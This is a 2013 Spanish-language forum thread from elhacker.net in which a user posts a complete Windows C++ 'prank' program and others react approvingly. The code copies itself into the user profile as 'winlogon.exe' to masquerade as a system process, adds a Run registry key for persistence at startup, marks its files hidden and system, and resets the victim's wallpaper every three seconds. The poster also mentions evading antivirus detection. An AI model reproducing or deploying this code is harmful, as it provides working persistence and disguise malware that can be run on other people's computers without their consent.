Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: daryo en 24 Mayo 2013, 03:16 am



Título: Broma c++
Publicado por: daryo en 24 Mayo 2013, 03:16 am
hola hice un code para retomar la programacion hacia rato no lo programaba asi que no es nada complejo y para hacer una broma no lo posteo aun por si la remota posibilidad que lo terminen detectando algun antivirus antes de ponerlo
mañana posteo el code xD
fondo:
https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4
la imagen debe estar en la misma carpeta y llamarse 1010.bmp

AGu5v1reQIM
saludos

Código
  1. #include <windows.h>
  2. #include <cstring>
  3.  
  4.  
  5.  
  6. bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false
  7. {
  8. DWORD attr = GetFileAttributes(file);
  9. if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
  10.    return false;   //  not a file
  11. return true;
  12. }
  13.  
  14.  
  15. void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows
  16. {
  17. //con la variable DireccionLocal se donde esta el programa para asi copiarlo
  18. char instalarFondo[100];
  19. char *dirlocal=getenv("USERPROFILE"); // carpeta local de usuario
  20. char dirfoto[700]; // el directorio donde esta la foto
  21. char instalar1[100]; //directorio a instalar el archivo
  22. //----------------------------
  23. GetCurrentDirectory(700,dirfoto);
  24. strcat(dirfoto,"\\1010.bmp");
  25. strcpy(instalarFondo,dirlocal);
  26. strcat(instalarFondo,"\\1010.bmp");
  27. CopyFile(dirfoto,instalarFondo,true);//copio el fondo
  28. //-------------------------------
  29. strcpy(instalar1,dirlocal);
  30. strcat(instalar1,"\\winlogon.exe");
  31. CopyFile(DireccionLocal,instalar1,true); // copio el archivo
  32. //añado llaves al registro de windows para que se inicie con el sistema
  33. HKEY hkey;
  34. RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
  35. RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro  el nombre es windout y el valor la direccion del programa
  36. RegCloseKey  (hkey);
  37. SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver
  38. SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  39. //---
  40.  
  41.  
  42. }
  43.  
  44. void cambiarElFondo()
  45. {
  46.    char fondo[]="1010.bmp";
  47.    SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo
  48.  
  49. }
  50.  
  51. int main(int argc,char * argv[])
  52. {
  53.    char *com=getenv("USERPROFILE");
  54.    char comprobar[600];
  55.    strcpy(comprobar,com);
  56.    strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD
  57.  
  58.    while(true)
  59.    {
  60.  
  61.    if(existe(comprobar)) //
  62.    {
  63.  
  64.        cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo
  65.    }
  66.    else
  67.    {
  68.       instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala
  69.    }
  70.       Sleep(3000); // espera 3 segundos
  71.    }
  72.  
  73.    return 0;
  74. }
  75.  


Título: Re: Broma c++
Publicado por: amchacon en 24 Mayo 2013, 10:48 am
Lo gracioso sería que se ejecutase al arranque del pc  ;-)


Título: Re: Broma c++
Publicado por: daryo en 24 Mayo 2013, 12:53 pm
Lo gracioso sería que se ejecutase al arranque del pc  ;-)
se ejecuta al comienzo del pc  :P


Título: Re: Broma c++
Publicado por: BlackM4ster en 24 Mayo 2013, 14:24 pm
jajajaj


Título: Re: Broma c++
Publicado por: Stakewinner00 en 24 Mayo 2013, 16:52 pm
Interesante. Esperare el código para poder jugar un poco. jaja


Título: Re: Broma c++
Publicado por: BlackM4ster en 24 Mayo 2013, 17:08 pm
Es sencillito, una imagen, un cambio en el registro y ya xD


Título: Re: Broma c++
Publicado por: daryo en 24 Mayo 2013, 20:38 pm
listo ya puse el code  :P


Título: Re: Broma c++
Publicado por: Stakewinner00 en 24 Mayo 2013, 22:57 pm
Muy interesante. Pensaba que sería más complejo.

Gracias.